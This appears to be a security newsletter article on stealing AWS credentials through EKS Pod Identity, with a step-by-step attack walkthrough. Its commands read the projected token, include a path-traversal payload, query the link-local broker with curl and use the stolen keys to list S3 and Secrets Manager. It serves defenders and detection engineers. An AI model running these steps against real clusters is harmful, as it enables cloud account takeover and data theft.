AWS EKS Pod Identity: Deconstructing Workload Token Interception

AWS EKS Pod Identity: Deconstructing Workload Token Interception

Overview & Threat Landscape#

In modern cloud-native architectures, containerized microservices running on Amazon Elastic Kubernetes Service (Amazon EKS) frequently require programmatic access to AWS cloud APIs—such as querying Amazon S3 buckets, decrypting secrets in AWS Secrets Manager, or publishing events to Amazon SQS. Historically, granting AWS permissions to Kubernetes workloads has evolved through distinct security models, each introducing unique architectural trade-offs:

graph TD
    subgraph "EVOLUTION OF WORKLOAD IDENTITY IN AMAZON EKS"
        direction TB
        item_1["<b>1. Node Instance Profiles (2018)</b><br/>Overprivileged node-wide EC2 IAM role"]
        item_2["<b>2. KIAM / Kube2IAM (2019)</b><br/>Reverse proxy intercepting EC2 IMDS 169.254"]
        item_3["<b>3. IRSA (2019–2023)</b><br/>OIDC federation via sts:AssumeRoleWithWebIdentity"]
        item_4["<b>4. EKS Pod Identity (2023–Present)</b><br/>Link-local agent & eks-auth API"]
        item_1 --> item_2
        item_2 --> item_3
        item_3 --> item_4
    end

While IAM Roles for Service Accounts (IRSA) significantly improved security by binding IAM roles to individual Kubernetes ServiceAccounts via OpenID Connect (OIDC) federation, it introduced substantial operational complexity: every cluster required an associated OIDC identity provider in IAM, trust policies required exact OIDC issuer URLs and subject strings, and the AWS SDK had to make outbound calls across the public internet to AWS STS endpoints.

To eliminate this operational friction, AWS introduced Amazon EKS Pod Identity (AWS EKS Pod Identity Announcement). Pod Identity fundamentally alters how credentials are provisioned to containers. Instead of public OIDC discovery, Pod Identity deploys a node-level DaemonSet—the eks-pod-identity-agent—which binds to a dedicated link-local IPv4 address: 169.254.170.23:80 (and IPv6 [fd00:ec2::23]:80). When a pod starts, a mutating admission webhook injects projected ServiceAccount tokens and configures environment variables routing the AWS SDK directly to this local link-local broker.

The agent on the node intercepts the request, calls a dedicated regional AWS API—eks-auth:AssumeRoleForPodIdentity—and returns temporary AWS security credentials (AccessKeyId, SecretAccessKey, SessionToken) directly into the container.

graph LR
    subgraph "THE POD IDENTITY ARCHITECTURAL SHIFT"
        direction LR
        node_1["<b>IRSA:          Pod</b><br/>Pod Identity:  Pod"]
        node_2["<b>Public Internet / STS</b><br/>Link-Local 169.254.170.23 -<br/>eks-auth:A"]
        node_3["<b>Cloud IAM Role</b><br/>Node Agent<br/>ssumeRole..."]
        node_1 --> node_2
        node_2 --> node_3
    end

How EKS Pod Identity Shifts the Attack Calculus#

While EKS Pod Identity simplifies IAM lifecycle management, it introduces critical architectural shifts that change the threat model for cloud security architects, penetration testers, and detection engineers:

  1. A New In-Cluster Credential Broker (169.254.170.23): Every worker node in an EKS cluster running the Pod Identity add-on hosts an unauthenticated HTTP service on port 80 at link-local IP 169.254.170.23. This endpoint functions as an in-cluster metadata service. While requests require an Authorization header containing the projected JWT token, the presence of an in-cluster HTTP credential broker expands the blast radius of Server-Side Request Forgery (SSRF) and local network sniffing.

  2. Decoupling IAM Trust Policies from Specific Clusters: Under IRSA, an IAM role's trust policy explicitly named the unique OIDC issuer URL of the specific EKS cluster (e.g., oidc.eks.us-east-1.amazonaws.com/id/EXAMPLE123456789). Under Pod Identity, the IAM role trust policy delegates authority directly to the AWS service principal pods.eks.amazonaws.com. Authorization is enforced via condition keys (aws:SourceArn or aws:SourceAccount). If an administrator configures broad or missing condition keys, workloads from unintended clusters, namespaces, or AWS accounts can assume the target IAM role.

  3. Portability of Projected Token Files: EKS projects a cryptographic JWT token into the pod at /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token. Unlike EC2 IMDSv2 session tokens—which are bound to the specific IP address and TTL of the caller—the EKS Pod Identity JWT is a bearer token valid for hours. If an attacker achieves arbitrary file read (LFI / path traversal) or container escape, the token can be exfiltrated and replayed against 169.254.170.23 from other containers on the same node or directly to the AWS eks-auth API.

  4. Namespace Multi-Tenancy Breakout: In multi-tenant Kubernetes clusters where development teams share infrastructure across namespaces, Kubernetes Role-Based Access Control (RBAC) often permits developers to create or modify Pods and Jobs. If a namespace contains a ServiceAccount mapped via Pod Identity Association to an IAM role with elevated privileges (such as AdministratorAccess or S3 write access), any user with create pod privileges in that namespace can schedule a container bound to that ServiceAccount, instantly inheriting cloud administrative access.

[!WARNING] EKS Pod Identity shifts the identity boundary from AWS IAM directly into Kubernetes RBAC. If an attacker compromises a Kubernetes namespace or achieves local file access inside a container, they can leverage the projected token to assume IAM roles and pivot from container execution into full AWS cloud account takeover.


Vulnerability & Attack Root-Cause Analysis#

To understand how workloads obtain credentials and where security controls can fail, security engineers must analyze the internal mechanics of the EKS Mutating Webhook, the Projected JWT Token Structure, the eks-pod-identity-agent DaemonSet, and the eks-auth API.

1. The Pod Identity Injection Pipeline#

When an application pod is created in an EKS cluster where an EKS Pod Identity Association exists for its ServiceAccount, the EKS control plane executes an admission mutation:

graph TD
    subgraph "POD IDENTITY INJECTION PIPELINE"
        direction TB
        step_1["1. Pod Manifest Submitted (spec.serviceAccountName: backend-sa)"]
        step_2["2. EKS Admission Webhook matches Pod Identity Association"]
        step_3["3. Injects Environment Variables:"]
        step_4["4. Mounts Projected ServiceAccount Volume (eks-pod-identity-token)"]
        step_5["5. AWS SDK queries http://169.254.170.23/v1/credentials with Bearer JWT"]
        step_6["6. Node Agent calls eks-auth:AssumeRoleForPodIdentity"]
        step_7["7. Returns Temporary STS Credentials (AccessKey, SecretKey, Token)"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
        step_4 --> step_5
        step_5 --> step_6
        step_6 --> step_7
    end

Injected Environment Variables and Volume Mounts

The webhook mutates the pod specification to append the following container environment variables and projected volumes:

YAML
spec:
  containers:
  - name: application
    env:
    - name: AWS_CONTAINER_CREDENTIALS_FULL_URI
      value: "http://169.254.170.23/v1/credentials"
    - name: AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE
      value: "/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token"
    volumeMounts:
    - mountPath: /var/run/secrets/pods.eks.amazonaws.com/serviceaccount
      name: eks-pod-identity-token
      readOnly: true
  volumes:
  - name: eks-pod-identity-token
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          audience: "pods.eks.amazonaws.com"
          expirationSeconds: 86400
          path: eks-pod-identity-token

2. Anatomy of the Projected Pod Identity JWT Token#

The token mounted inside the container is a signed JSON Web Token (JWT) issued directly by the Kubernetes API server's token controller. Unlike standard Kubernetes ServiceAccount tokens (which use audience https://kubernetes.default.svc), the Pod Identity token specifies audience: "pods.eks.amazonaws.com".

Decoded JWT Header and Payload:

JSON
{
  "alg": "RS256",
  "kid": "k8s-key-2026-abc123def456"
}
.
{
  "iss": "https://oidc.eks.us-east-1.amazonaws.com/id/EXAMPLE1234567890",
  "sub": "system:serviceaccount:production:payment-processor-sa",
  "aud": [
    "pods.eks.amazonaws.com"
  ],
  "exp": 1791244800,
  "nbf": 1759708800,
  "iat": 1759708800,
  "jti": "8f3b2a1c-4d5e-6f70-8a9b-0c1d2e3f4a5b",
  "kubernetes.io": {
    "namespace": "production",
    "serviceaccount": {
      "name": "payment-processor-sa",
      "uid": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"
    },
    "pod": {
      "name": "payment-processor-78b9c-4x92m",
      "uid": "b2c3d4e5-f6a7-8901-bcde-f12345678901"
    }
  }
}

The payload contains the exact identity claims required by the AWS EKS Auth service:

  • iss: The OIDC issuer URL of the EKS cluster.
  • sub: The full ServiceAccount identifier (system:serviceaccount:<namespace>:<serviceaccount>).
  • aud: Strictly validated as pods.eks.amazonaws.com.
  • kubernetes.io metadata: Namespace, ServiceAccount name, and Pod UID.

On each worker node, the eks-pod-identity-agent runs as a DaemonSet with hostNetwork: true.

How Link-Local Traffic Is Routed on the Worker Node

To ensure pods can reach 169.254.170.23:80, the agent (or the Amazon VPC CNI plugin) installs local networking rules:

  1. It assigns the link-local address 169.254.170.23/32 to a local dummy or bridge interface on the host.
  2. It sets up iptables / nftables rules directing traffic destined for 169.254.170.23:80 to the socket bound by eks-pod-identity-agent.
  3. When a container sends an HTTP GET request to http://169.254.170.23/v1/credentials with header Authorization: Bearer <JWT>, the agent receives the request over the local veth pair.

The Decompiled Execution Flow inside eks-pod-identity-agent

Below is decompiled Go pseudocode representing how the agent processes the incoming token and calls AWS:

GO
// Decompiled architecture from github.com/aws/eks-pod-identity-agent
package server

import (
    "context"
    "net/http"
    "github.com/aws/aws-sdk-go-v2/service/eksauth"
)

func (s *Server) HandleCredentials(w http.ResponseWriter, r *http.Request) {
    // 1. Extract Authorization header
    authHeader := r.Header.Get("Authorization")
    if authHeader == "" {
        http.Error(w, "Missing Authorization header", http.StatusUnauthorized)
        return
    }
    jwtToken := extractBearerToken(authHeader)

    // 2. Prepare request to regional AWS EKS Auth service
    // Note: The agent uses its own node identity or AWS private link to reach eks-auth
    input := &eksauth.AssumeRoleForPodIdentityInput{
        ClusterName: &s.ClusterName,
        Token:       &jwtToken,
    }

    // 3. Invoke eks-auth:AssumeRoleForPodIdentity API
    resp, err := s.EksAuthClient.AssumeRoleForPodIdentity(context.Background(), input)
    if err != nil {
        http.Error(w, "Failed to assume role: " + err.Error(), http.StatusForbidden)
        return
    }

    // 4. Return temporary credentials in format expected by AWS SDK
    credentialResponse := CredentialResponse{
        AccessKeyId:     *resp.Credentials.AccessKeyId,
        SecretAccessKey: *resp.Credentials.SecretAccessKey,
        SessionToken:    *resp.Credentials.SessionToken,
        Expiration:      resp.Credentials.Expiration.Format(time.RFC3339),
    }

    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(credentialResponse)
}

4. Root Causes of Workload IAM Compromise#

The security integrity of EKS Pod Identity breaks down when specific architectural misconfigurations or vulnerabilities are introduced:

  1. Permissive IAM Role Trust Policies (Missing aws:SourceArn): Under Pod Identity, an IAM role must trust pods.eks.amazonaws.com. The trust policy must use condition keys to constrain which cluster and association can assume the role. If an administrator creates a trust policy without specifying aws:SourceArn:
JSON
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Service": "pods.eks.amazonaws.com"
      },
      "Action": [
        "sts:AssumeRole",
        "sts:TagSession"
      ]
      // VULNERABILITY: Condition block is completely missing!
    }
  ]
}

In this scenario, any EKS Pod Identity Association across any cluster in the AWS account (or any account if cross-account trust is granted) can assume this IAM role!

  1. The hostNetwork: true Sniffing & Hijacking Vector: Because eks-pod-identity-agent runs in the host network namespace, any untrusted container scheduled with hostNetwork: true on the same worker node shares the host network stack. A compromised pod with host network privileges can bind to link-local interfaces, sniff plaintext HTTP traffic on port 80, or intercept authorization headers transmitted by sibling pods.

  2. LFI & Path Traversal to Projected Token Exfiltration: Because the token is mounted as a static file (/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token), any Local File Inclusion (LFI) or path traversal vulnerability in a web application running inside the pod allows an attacker to download the raw JWT. The attacker can then issue a single HTTP request to http://169.254.170.23/v1/credentials with Authorization: Bearer <stolen-jwt> to obtain temporary AWS credentials.


Exploit Architecture#

The sequence diagram below illustrates the end-to-end attack flow: from initial container compromise and token exfiltration to link-local credential assumption and cloud lateral movement.

sequenceDiagram
    autonumber
    participant Attacker as Adversary (External)
    participant AppPod as Vulnerable Pod (payment-processor)
    participant Agent as Node Agent (169.254.170.23)
    participant EksAuth as AWS EKS Auth Service
    participant STS as AWS STS Engine
    participant AWSCloud as AWS Cloud APIs (S3/SecretsManager)

    Note over Attacker, AppPod: PHASE 1: INITIAL CONTAINER COMPROMISE
    Attacker->>AppPod: 1. Exploit LFI / Path Traversal in Web Application
    AppPod-->>Attacker: 2. Exfiltrate /var/run/secrets/pods.eks.amazonaws.com/.../token

    Note over Attacker, Agent: PHASE 2: LINK-LOCAL CREDENTIAL ASSUMPTION
    Attacker->>AppPod: 3. Execute command or SSRF querying link-local broker
    AppPod->>Agent: 4. HTTP GET http://169.254.170.23/v1/credentials with Bearer Token
    Agent->>Agent: 5. Parse Authorization header & extract JWT

    Note over Agent, STS: PHASE 3: EKS AUTH & STS ROLE ASSUMPTION
    Agent->>EksAuth: 6. API Call: AssumeRoleForPodIdentity(ClusterName, Token)
    EksAuth->>EksAuth: 7. Validate JWT signature against Cluster OIDC JWKS
    EksAuth->>EksAuth: 8. Resolve Pod Identity Association (Namespace + ServiceAccount)
    EksAuth->>STS: 9. Request STS Temporary Credentials for Mapped IAM Role
    STS->>STS: 10. Evaluate IAM Trust Policy (pods.eks.amazonaws.com + Conditions)
    STS-->>EksAuth: 11. Return AccessKeyId, SecretAccessKey, SessionToken
    EksAuth-->>Agent: 12. Deliver Credentials to Node Agent
    Agent-->>AppPod: 13. HTTP 200 JSON Response with Temporary AWS Credentials
    AppPod-->>Attacker: 14. Exfiltrate AWS Credentials to External C2

    Note over Attacker, AWSCloud: PHASE 4: CLOUD CONTROL PLANE ESCALATION
    Attacker->>AWSCloud: 15. Authenticate to AWS Cloud APIs using stolen STS Session
    Attacker->>AWSCloud: 16. Exfiltrate S3 Buckets & Access Secrets Manager

Attack Path Step-by-Step#

Understanding how an adversary operationalizes this attack chain allows security engineers to identify forensic footprints across container filesystems, link-local network traffic, and AWS CloudTrail logs.

graph TD
    subgraph "EKS POD IDENTITY 5-STAGE EXPLOITATION PATH"
        direction TB
        node_1["<b>1. Discovery</b><br/>Inspect Pod Environment & Identify 169.254.170.23"]
        node_2["<b>2. Token Theft</b><br/>Exfiltrate Projected JWT from Volume Mount"]
        node_3["<b>3. Token Audit</b><br/>Decode JWT Claims (Namespace, SA Name, Cluster)"]
        node_4["<b>4. Replay</b><br/>Query http://169.254.170.23/v1/credentials"]
        node_5["<b>5. Cloud Pivot</b><br/>Leverage Temporary STS Credentials in AWS APIs"]
        node_1 --> node_2
        node_2 --> node_3
        node_3 --> node_4
        node_4 --> node_5
    end

Phase 1: Environment Reconnaissance & Agent Detection#

Once an adversary achieves remote code execution (RCE) or interactive shell access inside a container, they inspect the environment to determine how cloud credentials are provisioned:

BASH
# Check environment variables for Pod Identity markers
env | grep -E "AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION"

# Expected Output:
# AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
# AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token

If AWS_CONTAINER_CREDENTIALS_FULL_URI points to 169.254.170.23, the cluster is utilizing EKS Pod Identity rather than IRSA or legacy EC2 instance metadata.


Phase 2: Token File Exfiltration#

The adversary verifies whether the projected token file is readable:

BASH
# Inspect the projected token file permissions and content
ls -la /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
head -c 50 /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
echo ""

Because the default file mode is 420 (0644), any unprivileged user inside the container can read the token file. If the adversary has achieved web application LFI rather than full command execution, they can query the path via directory traversal: http://victim-app.internal/download?file=../../../../var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token


Phase 3: Inspecting JWT Token Claims#

The adversary decodes the base64-encoded JWT payload to determine which Kubernetes ServiceAccount and namespace the token represents:

BASH
# Decode JWT payload without cryptographic verification
TOKEN=$(cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token)
echo "$TOKEN" | awk -F. '{print $2}' | base64 -d 2>/dev/null | jq .

Sample Forensic Output:

JSON
{
  "aud": [
    "pods.eks.amazonaws.com"
  ],
  "exp": 1791244800,
  "iss": "https://oidc.eks.us-east-1.amazonaws.com/id/EXAMPLE1234567890",
  "kubernetes.io": {
    "namespace": "production",
    "serviceaccount": {
      "name": "data-pipeline-sa",
      "uid": "3b2c1a0f-9e8d-7c6b-5a4f-3e2d1c0b9a8f"
    }
  },
  "sub": "system:serviceaccount:production:data-pipeline-sa"
}

The adversary now knows the cluster's OIDC issuer, the target namespace (production), and the associated ServiceAccount (data-pipeline-sa).


Using the extracted token, the adversary sends an HTTP GET request to the link-local agent endpoint:

BASH
# Query the link-local broker using the extracted token
curl -s -H "Authorization: $TOKEN" "http://169.254.170.23/v1/credentials" | jq .

The eks-pod-identity-agent validates the token format, calls eks-auth:AssumeRoleForPodIdentity, and returns the temporary credential bundle:

JSON
{
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "SessionToken": "IQoJb3JpZ2luX2VjEPH//////////...[TRUNCATED_STS_TOKEN]...==",
  "Expiration": "2026-10-06T15:00:00Z"
}

[!CAUTION] The link-local broker on 169.254.170.23 does not perform client IP or network interface validation. Any process on the worker node that provides a valid JWT signed by the cluster API server will receive the corresponding IAM credentials.


Phase 5: Cloud Lateral Movement & IAM Privilege Abuse#

The adversary exports the stolen STS credentials into the AWS CLI or custom scripts to execute actions against cloud resources:

BASH
# Set AWS environment variables using stolen credentials
export AWS_ACCESS_KEY_ID="ASIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEPH//////////..."

# Verify the assumed IAM role identity
aws sts get-caller-identity

# Enumerate sensitive cloud data
aws s3 ls
aws secretsmanager list-secrets

In AWS CloudTrail, the assumption event is logged as:

  • Event Name: AssumeRoleForPodIdentity
  • Event Source: eks-auth.amazonaws.com
  • Assumed Role: arn:aws:iam::123456789012:role/DataPipelineRole
  • Session Name: Formatted as [pod-name]_[pod-uid] or customized by the cluster.

Fast Cyber Defense Morning Takeaways#

The architecture of EKS Pod Identity provides significant developer ergonomics, but security engineering teams must recognize that it concentrates the credential granting path into local node components and broad AWS trust relationships.

Summary of Threat Findings#

  1. The Link-Local Attack Surface: The presence of 169.254.170.23 on every node introduces a new link-local credential broker. Protecting it requires strict network isolation and seccomp controls.
  2. The Missing Condition Trap: Unlike IRSA, which enforces cluster-specific OIDC issuers by default, Pod Identity roles trust pods.eks.amazonaws.com. If IAM trust policies omit aws:SourceArn or aws:SourceAccount, any cluster in the account can assume the role.
  3. Multi-Tenancy RBAC Risks: In shared clusters, Kubernetes namespace boundaries are cloud security boundaries. Anyone with create pod privileges can claim a ServiceAccount associated with high-privilege cloud IAM roles.

What to Prepare for Tonight's Blue Team Defense Guide#

In tonight's edition (EDITION 2: Systems & Platform Engineering / Blue Team Defense Guide), we will pivot from threat deconstruction to proactive hardening and automated detection:

  • IAM Trust Policy Hardening: Crafting mathematically sound IAM trust policies that enforce aws:SourceArn, aws:SourceAccount, and exact podidentityassociation ARNs.
  • Kubernetes NetworkPolicy Enforcement: Deploying egress filtering NetworkPolicies that block unauthorized pods from communicating with 169.254.170.23/32.
  • Restricting hostNetwork: true via Admission Controllers: Using Kyverno or OPA Gatekeeper policies to ban hostNetwork: true on user-facing workloads.
  • Production CloudTrail & GuardDuty Detection Rules: Engineering Sigma rules and Athena/Sentinel queries to detect unauthorized AssumeRoleForPodIdentity calls and anomalous cross-account role assumption attempts.

Authoritative References#

  1. Amazon Web Services (AWS) Official Documentation: Learn how EKS Pod Identity grants pods access to AWS services — AWS EKS User Guide
  2. Datadog Security Labs Research: Deep dive into the new Amazon EKS Pod Identity feature — Datadog Security Labs
  3. AWS Architecture Blog: Amazon EKS Pod Identity: a new way for applications on EKS to obtain IAM credentials — AWS Containers Blog
  4. Wiz Research: EKS Access Entries and Pod Identity Create New Privilege Escalation Paths — Wiz Academy
  5. Trend Micro Research: An Investigation of AWS Credential Exposure via Overprivileged Containers and Link-Local APIs — Trend Micro Research

Comments